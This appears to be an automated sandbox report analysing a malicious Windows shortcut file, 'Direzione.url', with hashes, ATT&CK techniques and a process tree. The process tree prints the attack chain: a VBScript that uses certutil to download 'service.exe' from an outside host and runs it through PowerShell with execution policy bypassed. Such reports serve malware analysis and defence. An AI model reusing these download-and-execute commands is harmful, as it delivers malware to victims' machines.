28ac0d56bc9e50880c69e25e0e9def81fd4d64bbbc81a16c0f37d5267b775e17

General

Target
Direzione.url
Size 205B
Sample230927-vhdmwsce7x
SHA256 d41f777212f6f77b34f10eedbb0e4e36eea69059519f1b5fc399e3754a1e25f6
MD5 83b57be91d269a4ec7f55d00d8931821
SHA1 7a8da6f58e4957b7a921ba2828b3fc17bad6894e
SHA512 a51849d4d643e63ff27612113bba88078cd5e88b6448447990f7564edaa85f3b9940be45cab1113122c15363993eaeff6dafa1dcd087110c5cb6feac7faf96b8
MD5 SHA1 SHA512

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3192	powershell.exe
3192	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3192	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3752	rundll32.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3752 wrote to memory of 1576	3752	rundll32.exe	85
PID 3752 wrote to memory of 1576	3752	rundll32.exe	85
PID 1576 wrote to memory of 3756	1576	WScript.exe	86
PID 1576 wrote to memory of 3756	1576	WScript.exe	86
PID 3756 wrote to memory of 2196	3756	cmd.exe	88
PID 3756 wrote to memory of 2196	3756	cmd.exe	88
PID 2196 wrote to memory of 3884	2196	cmd.exe	89
PID 2196 wrote to memory of 3884	2196	cmd.exe	89
PID 1576 wrote to memory of 2124	1576	WScript.exe	96
PID 1576 wrote to memory of 2124	1576	WScript.exe	96
PID 2124 wrote to memory of 1136	2124	cmd.exe	98
PID 2124 wrote to memory of 1136	2124	cmd.exe	98
PID 1136 wrote to memory of 3192	1136	cmd.exe	99
PID 1136 wrote to memory of 3192	1136	cmd.exe	99

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Direzione.url
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3752
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FXXN8G02\Agenzia[1].vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cmd /c certutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3756
  - - C:\Windows\system32\cmd.exe
      cmd /c certutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2196
    - - C:\Windows\system32\certutil.exe
        
        certutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe
        5⤵
        
        PID:3884
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1136
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Agenzia[1].vbs

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FXXN8G02\Agenzia[1].vbs
Size 517B
SHA256 8b35f64e018365449728000cd8029249d46598deb64d823b6b5f1b61fcfdedee
MD5 d78fe505e997d8a17d7af2bff3adcc7b
SHA1 8488c8e0ccaa295abf262b532aa60cbf2d29e200
SHA512 a81384b2823b31e47feb2e6bd339fd0a74bb2073f310856eabd0fb88f91a574d988d9da4bffeab66e0c093669c463e6dab98e12ab167f9e2f579e30b2b86398f
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_2ulqkypb.ufx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ulqkypb.ufx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3192-11-0x0000028658D80000-0x0000028658DA2000-memory.dmp

Download

memory/3192-16-0x00007FF8C1880000-0x00007FF8C2341000-memory.dmp

Download

memory/3192-17-0x0000028658D40000-0x0000028658D50000-memory.dmp

Download

memory/3192-18-0x0000028658D40000-0x0000028658D50000-memory.dmp

Download

memory/3192-21-0x00007FF8C1880000-0x00007FF8C2341000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads